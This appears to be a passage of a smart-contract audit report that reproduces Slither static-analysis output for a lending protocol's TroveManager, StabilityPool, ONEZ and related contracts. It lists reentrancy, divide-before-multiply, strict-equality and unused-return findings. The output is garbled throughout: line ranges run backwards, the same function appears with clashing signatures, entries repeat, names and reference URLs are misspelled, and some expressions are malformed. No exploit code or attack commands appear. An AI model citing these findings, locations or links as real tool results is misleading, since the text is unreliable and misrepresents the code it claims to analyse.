- TroveManager._closeTrove(address,TroveManager.Status) (contracts/core/TroveManager.sol#1349-1374)
- TroveManager._updateIntValue(address,uint256,uint256) (contracts/core/TroveManager.sol#1126-1139)
- TroveManager._updateIntValue(address,uint256) (contracts/core/TroveManager.sol#1372-1398)
- TroveManager._updateAvailableRewards(address) (contracts/core/TroveManager.sol#1076-1101)
Reentrancy in TroveManager._closeTrove(address,TroveManager.Status) (contracts/core/TroveManager.sol#1146-1170):
External calls:
- applyPendingRewards(account) (contracts/core/TroveManager.sol#1062)
- amount = vault.allocateNewEmissions(id,debt) (contracts/core/TroveManager.sol#1169)
State variables written after the calls():
- storedPendingReward[account] = 0 (contracts/core/TroveManager.sol#1064)
TroveManager._closeTrove(address,TroveManager.Status) (contracts/core/TroveManager.sol#1146-1170) can be used in cross function reentrances:
- TroveManager._closeTrove(address,TroveManager.Status) (contracts/core/TroveManager.sol#1146-1170)
- TroveManager._redeemCollateralFromTrove1(SortedTroves,address,uint256,uint256,address,address,uint256) (contracts/core/TroveManager.sol#904-986)
- TroveManager._updateAvailableRewards(address) (contracts/core/TroveManager.sol#1044-1048)
- TroveManager._claimableReward(address) (contracts/core/TroveManager.sol#1076-1101)
- TroveManager._closeTrove(address,address,uint256,uint256) (contracts/core/TroveManager.sol#1303-1320)
- TroveManager._closeTrove(address,address,uint256,uint256) (contracts/core/TroveManager.sol#1349-1353)
- TroveManager._getPendingDebtAndCollAddress() (contracts/core/TroveManager.sol#1072-501)
- TroveManager._getPendingCollAndDebtRewards(address) (contracts/core/TroveManager.sol#579-595)
- TroveManager._getPendingDebtAndCollAddress() (contracts/core/TroveManager.sol#1072-501)
- TroveManager._getPendingRewardsAddress() (contracts/core/TroveManager.sol#1049-451)
- TroveManager._hasPendingRewardsAddress() (contracts/core/TroveManager.sol#597-608)
- TroveManager._openTroveAddress(uint256,uint256,uint256,address,address,address) (contracts/core/TroveManager.sol#1241-1301)
Reentrancy in TroveManager._redeemCollateralFromTrove1(SortedTroves,address,uint256,uint256,address,uint256) (contracts/core/TroveManager.sol#904-986):
External calls:
- debt = newDebt (contracts/core/TroveManager.sol#972)
State variables written after the call(s):
- t.debt = newDebt (contracts/core/TroveManager.sol#972)
TroveManager._troves (contracts/core/TroveManager.sol#142) can be used in cross function reentrances:
- TroveManager._troves (contracts/core/TroveManager.sol#142)
- TroveManager._closeTrove(address,TroveManager.Status) (contracts/core/TroveManager.sol#1146-1170)
- TroveManager._closeTrove(address,TroveManager.Status) (contracts/core/TroveManager.sol#1346-1370)
- TroveManager._redeemCollateralFromTrove1(SortedTroves,address,uint256,uint256,address,address,uint256) (contracts/core/TroveManager.sol#904-986)
- TroveManager._updateAvailableRewards(address) (contracts/core/TroveManager.sol#1076-1101)
- TroveManager._closeTrove(address,address,uint256,uint256) (contracts/core/TroveManager.sol#1303-1320)
- TroveManager._closeTrove(address,address,uint256,uint256) (contracts/core/TroveManager.sol#1349-1353)
- TroveManager._getPendingDebtAndCollAddress() (contracts/core/TroveManager.sol#1072-501)
- TroveManager._getPendingCollAndDebtRewardsAddress() (contracts/core/TroveManager.sol#579-595)
- TroveManager._getTroveStake(address) (contracts/core/TroveManager.sol#433-455)
- TroveManager._getTroveStatus(address) (contracts/core/TroveManager.sol#1049-451)
- TroveManager._hasPendingRewardsAddress() (contracts/core/TroveManager.sol#597-608)
- TroveManager._openTroveAddress(uint256,uint256,uint256,address,address,bool) (contracts/core/TroveManager.sol#1194-1239)
- totalActiveDebt = _totalActiveDebt + debt (contracts/core/TroveManager.sol#1073)
TroveManager._troves (contracts/core/TroveManager.sol#142) can be used in cross function reentrances:
- TroveManager._troves (contracts/core/TroveManager.sol#142)
- TroveManager._closeTrove(address,TroveManager.Status) (contracts/core/TroveManager.sol#1146-1170)
- TroveManager._closeTrove(address,TroveManager.Status) (contracts/core/TroveManager.sol#1346-1370)
- TroveManager._redeemCollateralFromTrove1(SortedTroves,address,uint256,uint256,address,address,uint256) (contracts/core/TroveManager.sol#904-986)
- TroveManager._updateAvailableRewards(address) (contracts/core/TroveManager.sol#1076-1101)
- TroveManager._closeTrove(address,address,uint256,uint256) (contracts/core/TroveManager.sol#1303-1320)
- TroveManager._closeTrove(address,address,uint256,uint256) (contracts/core/TroveManager.sol#1349-1353)
- TroveManager._getPendingDebtAndCollAddress() (contracts/core/TroveManager.sol#1072-501)
- TroveManager._getPendingCollAndDebtRewardsAddress() (contracts/core/TroveManager.sol#579-595)
- TroveManager._getTroveStake(address) (contracts/core/TroveManager.sol#433-455)
- TroveManager._getTroveStatus(address) (contracts/core/TroveManager.sol#1049-451)
- TroveManager._hasPendingRewardsAddress() (contracts/core/TroveManager.sol#597-608)
- TroveManager._openTroveAddress(uint256,uint256,uint256,address,address,bool) (contracts/core/TroveManager.sol#1194-1239)
- totalActiveDebt = _totalActiveDebt + debt (contracts/core/TroveManager.sol#1073)
Reentrancy in TroveManager._updateAvailableBalances() (contracts/core/TroveManager.sol#1090-1095):
External calls:
- _updateAvailableIntegral(totalActiveDebt) (contracts/core/TroveManager.sol#1091)
- amount = vault.allocateNewEmissions(id,minting) (contracts/core/TroveManager.sol#1179)
State variables written after the call(s):
- _accumulatedDebt.current = _accumulatedDebt.current + activeDebts (contracts/core/TroveManager.sol#1092)
- _totalActiveDebt.current = _totalActiveDebt.current + activeDebts (contracts/core/TroveManager.sol#1092)
TroveManager._totalActiveDebt (contracts/core/TroveManager.sol#109) can be used in cross function reentrances:
- TroveManager._accrueActiveInterest() (contracts/core/TroveManager.sol#1096-1174)
- TroveManager._decreaseDebt(address,uint256) (contracts/core/TroveManager.sol#1078-1081)
- TroveManager._increaseDebt(address,uint256,uint256) (contracts/core/TroveManager.sol#1054-1060)
- TroveManager._updateAvailableBalances() (contracts/core/TroveManager.sol#1090-1095)
- TroveManager._redeemDebtAndColl(address,uint256,uint256) (contracts/core/TroveManager.sol#1050-1065)
- TroveManager._redistributeDebtAndColl(uint256,uint256) (contracts/core/TroveManager.sol#1597-1641)
- TroveManager._resetDebt() (contracts/core/TroveManager.sol#1028-1040)
- TroveManager._updateAvailableBalances() (contracts/core/TroveManager.sol#1090-1095)
- TroveManager._claimableReward(address) (contracts/core/TroveManager.sol#1076-1101)
- TroveManager._closeTrove(address,uint256,uint256) (contracts/core/TroveManager.sol#1303-1320)
- TroveManager._getTroveSystemDebt() (contracts/core/TroveManager.sol#507-519)
- TroveManager._getTroveStatus(address) (contracts/core/TroveManager.sol#1049-451)
- TroveManager._getTroveSystemDebt() (contracts/core/TroveManager.sol#507-519)
- TroveManager._hasPendingRewardsAddress() (contracts/core/TroveManager.sol#597-608)
- TroveManager._openTroveAddress(uint256,uint256,uint256,address,address,bool) (contracts/core/TroveManager.sol#1194-1239)
- TroveManager._redeemCollateral(uint256,address,address,address,uint256,uint256) (contracts/core/TroveManager.sol#759-901)
Reentrancy in TroveManager._collectInterestRewards() (contracts/core/TroveManager.sol#409-414):
External calls:
- debtToken.mint(PRISMA_CORE,receiver(),interestPayableCached) (contracts/core/TroveManager.sol#412)
State variables written after the call(s):
- interestPayable = (contracts/core/TroveManager.sol#1013)
TroveManager._interestPayable (contracts/core/TroveManager.sol#10) can be used in cross function reentrances:
- TroveManager._accrueActiveInterest() (contracts/core/TroveManager.sol#1096-1174)
- TroveManager._redeemDebtAndColl(address,uint256) (contracts/core/TroveManager.sol#1078-1081)
- TroveManager._applyPendingRewards(address) (contracts/core/TroveManager.sol#1429-1471)
- TroveManager._closeTrove(address,TroveManager.Status) (contracts/core/TroveManager.sol#1346-1370)
- TroveManager._closeTrove(address,TroveManager.Status) (contracts/core/TroveManager.sol#1146-1170)
- TroveManager._redeemDebtAndColl(address,uint256,uint256) (contracts/core/TroveManager.sol#1050-1065)
- TroveManager._removeStake(address) (contracts/core/TroveManager.sol#1404-1448)
- TroveManager._claimableReward(address) (contracts/core/TroveManager.sol#1076-1101)
- TroveManager._closeTrove(address,uint256,uint256) (contracts/core/TroveManager.sol#1303-1320)
- TroveManager._getTroveSystemDebt() (contracts/core/TroveManager.sol#507-519)
- TroveManager._getTroveStatus(address) (contracts/core/TroveManager.sol#1049-451)
- TroveManager._hasPendingRewardsAddress() (contracts/core/TroveManager.sol#597-608)
- TroveManager._openTroveAddress(uint256,uint256,uint256,address,address,bool) (contracts/core/TroveManager.sol#1194-1239)
Reentrancy in TroveManager._openTrove(Address,uint256,uint256,uint256,address,address,bool) (contracts/core/TroveManager.sol#1194-1239):
External calls:
- storedPendingRewards[borrower].NCR._upperHint_lowerHint (contracts/core/TroveManager.sol#1216)
State variables written after the call(s):
- t.arrayIndex = uint128(arrayIndex) (contracts/core/TroveManager.sol#1220)
TroveManager._troves (contracts/core/TroveManager.sol#142) can be used in cross function reentrances:
- TroveManager._closeTrove(address,TroveManager.Status) (contracts/core/TroveManager.sol#1146-1170)
- TroveManager._closeTrove(address,TroveManager.Status) (contracts/core/TroveManager.sol#1346-1370)
- TroveManager._redeemDebtAndColl(address,uint256,uint256) (contracts/core/TroveManager.sol#1050-1065)
- TroveManager._removeStake(address) (contracts/core/TroveManager.sol#1404-1448)
- TroveManager._claimableReward(address) (contracts/core/TroveManager.sol#1076-1101)
- TroveManager._closeTrove(address,uint256,uint256) (contracts/core/TroveManager.sol#1303-1320)
- TroveManager._loseInterestLiquidityAddress() (contracts/core/TroveManager.sol#1528-1535)
- TroveManager._getPendingDebtAndCollAddress() (contracts/core/TroveManager.sol#1072-501)
- TroveManager._getPendingCollAndDebtRewardsAddress() (contracts/core/TroveManager.sol#579-595)
- TroveManager._getTroveStake(address) (contracts/core/TroveManager.sol#433-455)
- TroveManager._getTroveStatus(address) (contracts/core/TroveManager.sol#1049-451)
- TroveManager._hasPendingRewardsAddress() (contracts/core/TroveManager.sol#597-608)
- TroveManager._openTroveAddress(uint256,uint256,uint256,address,address,bool) (contracts/core/TroveManager.sol#1194-1239)
- TroveManager._updateAvailableBalances() (contracts/core/TroveManager.sol#1090-1095)
Reentrancy in TroveManager._updateAvailableBalances() (contracts/core/TroveManager.sol#1090-1095):
External calls:
- storedPendingRewards[debtToken].NCR._upperHint_lowerHint (contracts/core/TroveManager.sol#1216)
- _updateDebtIntegrals(borrower, supply) (contracts/core/TroveManager.sol#1222)
- amount = vault.allocateNewEmissions(id,debt) (contracts/core/TroveManager.sol#1169)
- _updateAvailableIntegral(totalActiveDebt) (contracts/core/TroveManager.sol#1090-1095)
State variables written after the call(s):
- _totalActiveDebt = _newTotalDebt (contracts/core/TroveManager.sol#1231)
TroveManager._totalActiveDebt (contracts/core/TroveManager.sol#109) can be used in cross function reentrances:
- _updatePendingRewards(debtToken) (contracts/core/TroveManager.sol#1223)
- _updateDebtIntegrals(borrower, _composeDebt) (contracts/core/TroveManager.sol#1223)
- storedPendingRewards[debtToken].NCR._upperHint_lowerHint (contracts/core/TroveManager.sol#1216)
TroveManager._totalActiveDebt (contracts/core/TroveManager.sol#109) can be used in cross function reentrances:
- _claimReward(address) (contracts/core/TroveManager.sol#1059-1074)
- TroveManager._updateIntegralForAccount(address,uint256,uint256) (contracts/core/TroveManager.sol#1126-1139)
- TroveManager._closeTrove(address,uint256,uint256) (contracts/core/TroveManager.sol#1303-1320)
- TroveManager._claimableReward(address) (contracts/core/TroveManager.sol#1076-1101)
- totalActiveDebt = _newTotalDebt (contracts/core/TroveManager.sol#1231)
TroveManager._totalActiveDebt (contracts/core/TroveManager.sol#109) can be used in cross function reentrances:

```

- **FeeReceiver.sol**
No high/med issues flagged by Slither.
- **GasPool.sol**

```
INFO:Detectors:
GasPool.constructor(address,address) {contracts/core/GasPool.sol#13-16} ignores return value by IERC20(onez).approve(address(debtToken),type()<uInt256>.max) {contracts/core/GasPool.sol#15}
Reference: https://github.com/cryptic/slither/wkit/Detector-Documentation#unused-return
```
- **LiquidationManager.sol**

```
INFO:Detectors:
LiquidationManager.liquidateTroves{!TroveManager, uInt256, uInt256}.troveManagerValues {contracts/core/LiquidationManager.sol#10} is a local variable never initialized
LiquidationManager.liquidateTroves{!TroveManager, uInt256, uInt256}.totals {contracts/core/LiquidationManager.sol#19} is a local variable never initialized
LiquidationManager.batchLiquidateTroves{!TroveManager, address[]}.troveManagerValues {contracts/core/LiquidationManager.sol#31} is a local variable never initialized
LiquidationManager.liquidateTroves{!TroveManager, address[]}.totals {contracts/core/LiquidationManager.sol#30} is a local variable never initialized
Reference: https://github.com/cryptic/slither/wkit/Detector-Documentation#initialized-local-variables
```
- **MultiCollateralHintHelpers.sol**

```
INFO:Detectors:
MultiCollateralHintHelpers.getRedemptionHint{!TroveManager, uInt256, uInt256, uint160} {contracts/core/helpers/MultiCollateralHintHelpers.sol#41-114} ignores return value by (debt,coll) = troveManager.getEntireDebtAndColl{currentTroveOwner} {contracts/core/helpers/MultiCollateralHintHelpers.sol#82-83}
Reference: https://github.com/cryptic/slither/wkit/Detector-Documentation#unused-return
```
- **MultiTroveGetter.sol**

```
INFO:Detectors:
MultiTroveGetter._getMultipleSortedTrovesFromEnd{!TroveManager, ISortedTroves, uInt256, uInt256} {contracts/core/helpers/MultiTroveGetter.sol#68-102} ignores return value by (_troves[!idx_scope_0].debt, _troves[!idx_scope_0].coll, _troves[!idx_scope_0].stake, None, None) = troveManager.Troves{currentTroveOwner} {contracts/core/helpers/MultiTroveGetter.sol#84-94}
MultiTroveGetter._getMultipleSortedTrovesFromFall{!TroveManager, ISortedTroves, uInt256, uInt256} {contracts/core/helpers/MultiTroveGetter.sol#104-138} ignores return value by (_troves[!idx_scope_0].debt, _troves[!idx_scope_0].coll, _troves[!idx_scope_0].stake, None, None) = troveManager.Troves{currentTroveOwner} {contracts/core/helpers/MultiTroveGetter.sol#120-130}
Reference: https://github.com/cryptic/slither/wkit/Detector-Documentation#unused-return
```
- **ONEZ.sol**

```
INFO:Detectors:
Math.mulDiv{uInt256, uInt256, uInt256} {node_modules/openzeppelin/contracts/utils/math/Math.sol#55-135} performs a multiplication on the result of a division:
- denominator = denominator / two {node_modules/openzeppelin/contracts/utils/math/Math.sol#82}
- denominator = denominator * two {node_modules/openzeppelin/contracts/utils/math/Math.sol#82}
- denominator = denominator / two {node_modules/openzeppelin/contracts/utils/math/Math.sol#124}
Math.mulDiv{uInt256, uInt256, uInt256} {node_modules/openzeppelin/contracts/utils/math/Math.sol#55-135} performs a multiplication on the result of a division:
- denominator = denominator / two {node_modules/openzeppelin/contracts/utils/math/Math.sol#82}
- denominator = denominator * inverse {node_modules/openzeppelin/contracts/utils/math/Math.sol#122}
Math.mulDiv{uInt256, uInt256, uInt256} {node_modules/openzeppelin/contracts/utils/math/Math.sol#55-135} performs a multiplication on the result of a division:
- denominator = denominator / two {node_modules/openzeppelin/contracts/utils/math/Math.sol#82}
- denominator = denominator * inverse {node_modules/openzeppelin/contracts/utils/math/Math.sol#122}
Math.mulDiv{uInt256, uInt256, uInt256} {node_modules/openzeppelin/contracts/utils/math/Math.sol#55-135} performs a multiplication on the result of a division:
- denominator = denominator / two {node_modules/openzeppelin/contracts/utils/math/Math.sol#82}
- denominator = denominator * inverse {node_modules/openzeppelin/contracts/utils/math/Math.sol#122}
Math.mulDiv{uInt256, uInt256, uInt256} {node_modules/openzeppelin/contracts/utils/math/Math.sol#55-135} performs a multiplication on the result of a division:
- denominator = denominator / two {node_modules/openzeppelin/contracts/utils/math/Math.sol#82}
- denominator = denominator * inverse {node_modules/openzeppelin/contracts/utils/math/Math.sol#122}
Math.mulDiv{uInt256, uInt256, uInt256} {node_modules/openzeppelin/contracts/utils/math/Math.sol#55-135} performs a multiplication on the result of a division:
- prod = prod / two {node_modules/openzeppelin/contracts/utils/math/Math.sol#82}
- prod = prod * two {node_modules/openzeppelin/contracts/utils/math/Math.sol#82}
Reference: https://github.com/cryptic/slither/wkit/Detector-Documentation#advide-before-multiply
INFO:Detectors:
ONEZ.addFacilitator{address,string,uInt128} {contracts/core/ONEZ.sol#66-88} ignores return value by _facilitatorsList.add{facilitatorAddress} {contracts/core/ONEZ.sol#81}
ONEZ.removeFacilitator{address} {contracts/core/ONEZ.sol#90-106} ignores return value by _facilitatorsList.remove{facilitatorAddress} {contracts/core/ONEZ.sol#103}
Reference: https://github.com/cryptic/slither/wkit/Detector-Documentation#unused-return
```
- **PrismaCore.sol**

```
INFO:Detectors:
PrismaCore.constructor(address,address,address,address) {contracts/core/PrismaCore.sol#55-69} performs a multiplication on the result of a division:
- startTime = (block.timestamp / 604800) * 604800 {contracts/core/PrismaCore.sol#62}
Reference: https://github.com/cryptic/slither/wkit/Detector-Documentation#advide-before-multiply
```

- **SortedTrophies.sol**
- No high/med issues flagged by Slither.

- **StabilityPool.sol**

```

INFO:Detectors:
StabilityPool._claimLateralGainDepositor ((contracts/core/StabilityPool.sol#51-52)) is never initialized. It is used in:
    - StabilityPool._accruedDepositorOnCollateralGain(address) (contracts/core/StabilityPool.sol#607-630)
    - StabilityPool.claimLateralGain(address) (contracts/core/StabilityPool.sol#641-678)
    - StabilityPool.claimDebtTakenDeposits((address,uint256)) (contracts/core/StabilityPool.sol#809-870)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#uninitialised-function
INFO:Detectors:
StabilityPool._computeRewardsPerUnitStaked (uint256,uint256) (contracts/core/StabilityPool.sol#39-43) performs a multiplication on the result of a division:
    - lastPrismReward = prismNumber * (totalDebtTakenDeposits / (contracts/core/StabilityPool.sol#418-420)
StabilityPool._computeRewardsPerUnitStaked(uint256,uint256,uint256) (contracts/core/StabilityPool.sol#449-533) performs a multiplication on the result of a division:
    - lastPrismRewardOffset[0] = collateralAdministrator * (collateralAdministrator / totalDebtTakenDeposits) (contracts/core/StabilityPool.sol#526-528)
StabilityPool.claimableReward(address) (contracts/core/StabilityPool.sol#86-287) performs a multiplication on the result of a division:
    - prismPerUnitStaked = prismNumber * (totalDebtTakenDeposits / (contracts/core/StabilityPool.sol#609))
    - lastPrismRewardOffset[1] = collateralAdministrator * (collateralAdministrator / totalDebtTakenDeposits)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply
INFO:Detectors:
StabilityPool._accruedDepositorOnCollateralGain(address) (contracts/core/StabilityPool.sol#641-678) uses a dangerous strict equality:
    - initialDeposits == 0 (contracts/core/StabilityPool.sol#650)
StabilityPool._claimableReward(address) (contracts/core/StabilityPool.sol#730-741) uses a dangerous strict equality:
    - initialDeposits == 0 (contracts/core/StabilityPool.sol#739)
StabilityPool._debtToPfn == totalDebtTakenDeposits (contracts/core/StabilityPool.sol#650)
StabilityPool._offset(IERC20,uint256,uint256) (contracts/core/StabilityPool.sol#438-475) uses a dangerous strict equality:
    - require(bool,string)(indexofcollateral[_newCollateral] == 0, collateral must be sunset) (contracts/core/StabilityPool.sol#204-287)
StabilityPool._overWriteCollateral(IERC20,uint256) (contracts/core/StabilityPool.sol#203-226) uses a dangerous strict equality:
    - require(bool,string)(indexofcollateral[_newCollateral] == 0, collateral must be sunset) (contracts/core/StabilityPool.sol#204-287)
StabilityPool._updateRewardsSumAndProduct(uint256,uint256,uint256) (contracts/core/StabilityPool.sol#534-592) uses a dangerous strict equality:
    - newProductFactor == 0 (contracts/core/StabilityPool.sol#569)
StabilityPool._updateRewardsSumAndProduct(uint256,uint256) (contracts/core/StabilityPool.sol#874-910) uses a dangerous strict equality:
    - newValue == 0 (contracts/core/StabilityPool.sol#870)
StabilityPool._claimableReward(address) (contracts/core/StabilityPool.sol#86-287) uses a dangerous strict equality:
    - totalDeposits == 0 || initialDeposits == 0 (contracts/core/StabilityPool.sol#902)
StabilityPool._getPrismDepositor(address) (contracts/core/StabilityPool.sol#777-791) uses a dangerous strict equality:
    - initialDeposits == 0 (contracts/core/StabilityPool.sol#780)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dangerous-strict-equalities
INFO:Detectors:
Reentrancy in StabilityPool.claimReward(address) (contracts/core/StabilityPool.sol#938-967):
    External calls:
        - triggerReawardSurrenance() (Contracts/core/StabilityPool.sol#p49)
        - amount = vault.allocateNewEmissions(emissionId) (Contracts/core/StabilityPool.sol#348)
        State variables written after the calls:
            - accruedDeposits[account][msg.sender].deposit(timestamp) (Contracts/core/StabilityPool.sol#954-957)
        StabilityPool._accruedDepositorOnCollateralGain(address) can be used in cross function reentrances:
            - StabilityPool._accruedDepositorOnCollateralGain(address) (Contracts/core/StabilityPool.sol#641-678)
            - StabilityPool.claimReward(address) (Contracts/core/StabilityPool.sol#938-967)
            - StabilityPool.getCompoundDepositorOnCollateralGain(address) (Contracts/core/StabilityPool.sol#730-741)
            - StabilityPool.accruedDeposits (Contracts/core/StabilityPool.sol#645)
            - StabilityPool.claimableReward(address) (Contracts/core/StabilityPool.sol#686-728)
            - StabilityPool.getCompoundDepositorOnCollateralGain(address) (Contracts/core/StabilityPool.sol#776-791)
            - StabilityPool.withdrawFromPool(address, uint256) (Contracts/core/StabilityPool.sol#607-639)
            - StabilityPool.provideDepositorOnPool(uint256) (Contracts/core/StabilityPool.sol#262-287)
            - StabilityPool.withdrawFromPool(uint256) (Contracts/core/StabilityPool.sol#299-337)
        Reentrancy in StabilityPool._offset(IERC20,uint256,uint256) (Contracts/core/StabilityPool.sol#438-475):
            External calls:
                - triggerRewardSurrenance() (Contracts/core/StabilityPool.sol#455)
                - amount = vault.valueOfAssets(emissionId) (Contracts/core/StabilityPool.sol#348)
            State variables written after the calls:
                - updateRewardsSumAndProduct(collateralGainPerUnitStaked,debtLossPerUnitStaked,ldx) (Contracts/core/StabilityPool.sol#467-471)
                    P = new (Contracts/core/StabilityPool.sol#599)
            StabilityPool.P (Contracts/core/StabilityPool.sol#602) can be used in cross function reentrances:
                - StabilityPool._computeRewardsPerUnitStaked(debtLossPerUnitStaked) (Contracts/core/StabilityPool.sol#794-837)
                - stabilityPool_updateRewardsSumAndProduct(IERC20,uint256) (Contracts/core/StabilityPool.sol#928-929)
                - StabilityPool._updateRewardsSumAndProduct(uint256,uint256,uint256) (Contracts/core/StabilityPool.sol#534-592)
                - StabilityPool._updateSnapshots(address,uint256) (Contracts/core/StabilityPool.sol#886-910)
                - StabilityPool.claimableReward(address) (Contracts/core/StabilityPool.sol#686-728)
                - StabilityPool._updateSnapshots(address,uint256) (Contracts/core/StabilityPool.sol#794-837)
                - StabilityPool._currentEpoch + 1 (Contracts/core/StabilityPool.sol#970)
                StabilityPool._currentEpoch (Contracts/core/StabilityPool.sol#70) can be used in cross function reentrances:
                - stabilityPool_getCurrentEpoch() (Contracts/core/StabilityPool.sol#970)
                - StabilityPool._computeRewardsPerUnitStaked(debtLossPerUnitStaked) (Contracts/core/StabilityPool.sol#794-837)
                - StabilityPool._decreaseDebtOffset(IERC20,uint256) (Contracts/core/StabilityPool.sol#928-929)
                - StabilityPool._updateCurrentEpoch() (Contracts/core/StabilityPool.sol#534-592)
                - StabilityPool._updateRewardsSumAndProduct(uint256,uint256,uint256) (Contracts/core/StabilityPool.sol#874-910)
                - StabilityPool._currentEpoch (Contracts/core/StabilityPool.sol#70)
                - StabilityPool._currentEpochScale (Contracts/core/StabilityPool.sol#70)
                - _decreaseDebtOffset (Contracts/core/StabilityPool.sol#159)
                StabilityPool._decreaseDebtOffset (Contracts/core/StabilityPool.sol#441-459)
            StabilityPool._decreaseDebtOffset (Contracts/core/StabilityPool.sol#441-459) can be used in cross function reentrances:
                - StabilityPool._decreaseDebtOffset(uint256) (Contracts/core/StabilityPool.sol#954-968)
                - StabilityPool._decreaseDebtOffset(IERC20,uint256) (Contracts/core/StabilityPool.sol#948-952)
                - StabilityPool._decreaseDebtOffset(IERC20) (Contracts/core/StabilityPool.sol#438-475)
                - StabilityPool._updateDebtOffset(IERC20) (Contracts/core/StabilityPool.sol#537-597)
                - StabilityPool._decreaseDebtOffset(uint256) (Contracts/core/StabilityPool.sol#728-729)
                - StabilityPool._getPrismDepositor(address) (Contracts/core/StabilityPool.sol#196-250)
                - StabilityPool._provideDepositor(IERC20) (Contracts/core/StabilityPool.sol#607-639)
                - StabilityPool._claimableReward(address) (Contracts/core/StabilityPool.sol#686-728)
            Reentrancy in StabilityPool._triggerRewardSurrenance() (Contracts/core/StabilityPool.sol#341-360):
                External calls:
                    - vault.allocateNewEmissions(emissionId) (Contracts/core/StabilityPool.sol#348)
                    State variables written after the calls:
                        - lastUpdate = uint32(block.timestamp) (Contracts/core/StabilityPool.sol#359)
                    StabilityPool.lastUpdate (Contracts/core/StabilityPool.sol#360) can be used in cross function reentrances:
                        - stabilityPool_getLastUpdate() (Contracts/core/StabilityPool.sol#360)
                    StabilityPool._vestedDebtTakenDeposits (Contracts/core/StabilityPool.sol#362-374)
                    - stabilityPool_getLastUpdate() (Contracts/core/StabilityPool.sol#362)
                    - stabilityPool._vestedDebtTakenDeposits (Contracts/core/StabilityPool.sol#363)
                    - stabilityPool._vestedDebtTakenDeposits((address)) (Contracts/core/StabilityPool.sol#151-166)
                    - stabilityPool._periodFinish (Contracts/core/StabilityPool.sol#37)
                    - rewardRate = uint128(amount / REWARD_DURATION) (Contracts/core/StabilityPool.sol#355)
                    StabilityPool._rewardRate (Contracts/core/StabilityPool.sol#355) can be used in cross function reentrances:
                    - stabilityPool._triggerRewardSurrenance() (Contracts/core/StabilityPool.sol#341-360)
                    - stabilityPool._vestedDebtTakenDeposits (Contracts/core/StabilityPool.sol#362-374)
                    - stabilityPool._vestedDebtTakenDeposits((address)) (Contracts/core/StabilityPool.sol#151-166)
                    Reentrancy in StabilityPool._provideDepositor(IERC20) (Contracts/core/StabilityPool.sol#262-287):
                External calls:
                    - triggerRewardSurrenance() (Contracts/core/StabilityPool.sol#262)
                    - debtTakenDeposits[msg.sender].depositOnPool(debtTakenDeposits) (Contracts/core/StabilityPool.sol#348)
                State variables written after the calls:
                    - accruedDeposits[msg.sender].depositOnPool(debtTakenDeposits) (Contracts/core/StabilityPool.sol#280-283)
                StabilityPool._accruedDepositorOnCollateralGain(address) can be used in cross function reentrances:
                    - StabilityPool._accruedDepositorOnCollateralGain(address) (Contracts/core/StabilityPool.sol#641-678)
                    - StabilityPool.claimReward(address) (Contracts/core/StabilityPool.sol#938-967)
                    - StabilityPool.getCompoundDepositorOnCollateralGain(address) (Contracts/core/StabilityPool.sol#730-741)
                    - StabilityPool.accruedDeposits (Contracts/core/StabilityPool.sol#645)
                    - StabilityPool.claimableReward(address) (Contracts/core/StabilityPool.sol#686-728)
                    - StabilityPool.getCompoundDepositorOnCollateralGain(address) (Contracts/core/StabilityPool.sol#776-791)
                    - StabilityPool._getPrismDepositor(IERC20) (Contracts/core/StabilityPool.sol#607-639)
                    - StabilityPool._provideDepositor(IERC20) (Contracts/core/StabilityPool.sol#262-287)
                    - StabilityPool.withdrawFromPool(uint256) (Contracts/core/StabilityPool.sol#299-337)
                    - updateRewardsSumAndProduct(debtLossPerUnitStaked,ldx) (Contracts/core/StabilityPool.sol#467-475)
                    - delete depositSnapshots(depositor) (Contracts/core/StabilityPool.sol#877)
                    - depositSnapshots[depositor].P = current (Contracts/core/StabilityPool.sol#899)
                    - depositSnapshots[depositor].P = current (Contracts/core/StabilityPool.sol#900)
                    - depositSnapshots[depositor].P = current (Contracts/core/StabilityPool.sol#901)
                    - depositSnapshots[depositor].epoch = currentEpochCached (Contracts/core/StabilityPool.sol#902)
                StabilityPool._depositSnapshots (Contracts/core/StabilityPool.sol#4) can be used in cross function reentrances:
                - stabilityPool._depositSnapshots((address)) (Contracts/core/StabilityPool.sol#464-478)
                - StabilityPool._claimableReward(address) (Contracts/core/StabilityPool.sol#730-741)
                - StabilityPool._updateSnapshots(address,uint256) (Contracts/core/StabilityPool.sol#874-910)
                - StabilityPool._getCompoundDepositorOnCollateralGain(address) (Contracts/core/StabilityPool.sol#776-791)
                - stabilityPool._provideDepositorOnPool(uint256) (Contracts/core/StabilityPool.sol#607-639)
                - updateRewardsSumAndProduct(debtLossPerUnitStaked,ldx) (Contracts/core/StabilityPool.sol#467-475)
                    - depositSnapshots[depositor][l] = 0 (Contracts/core/StabilityPool.sol#881)
                    - depositSnapshots[depositor][l] = current l_scope_0 (Contracts/core/StabilityPool.sol#906)
                StabilityPool._depositSnapshots (Contracts/core/StabilityPool.sol#4) can be used in cross function reentrances:
                - stabilityPool._depositSnapshots((address)) (Contracts/core/StabilityPool.sol#464-478)
                - StabilityPool._accruedDepositorOnCollateralGain(address) (Contracts/core/StabilityPool.sol#641-678)
                - StabilityPool.updateSnapshots(address,uint256) (Contracts/core/StabilityPool.sol#874-910)
            
```

TroveManager.sol

```

- StabilityPool.depositSums (contracts/core/StabilityPool.sol#49)
- StabilityPool.getDepositorCollateralGn(address) (contracts/core/StabilityPool.sol#67-69)
- totalDebtTokenDeposits = newTotalDebtTokenDeposits (contracts/core/StabilityPool.sol#276)
StabilityPool.decreaseDebt(uint256) (contracts/core/StabilityPool.sol#594-598) can be used in cross function reentrances:
- StabilityPool._decreaseDebt(uint256) (contracts/core/StabilityPool.sol#438-475)
- StabilityPool._decreaseDebt(uint256) (contracts/core/StabilityPool.sol#106-147)
- StabilityPool._decreaseDebt(uint256) (contracts/core/StabilityPool.sol#149-197)
- StabilityPool._claimableRewards(address) (contracts/core/StabilityPool.sol#686-728)
- StabilityPool.getTotalDebtTokenDeposits() (contracts/core/StabilityPool.sol#248-250)
- StabilityPool.provideDepot(uint256) (contracts/core/StabilityPool.sol#262-287)
Reentrancy In: StabilityPool.withdrawFromPool(uint256) (contracts/core/StabilityPool.sol#299-337):
External calls:
- _triggerRewardIssue() (contracts/core/StabilityPool.sol#111)
- _redeemPendingRewardsForAllCollateralTokens(address, uint256) (contracts/core/StabilityPool.sol#111)
- debtToken.transferFromPool(address, msg.sender, debtTokenWithdraw) (contracts/core/StabilityPool.sol#324)
State variables written after the call(s):
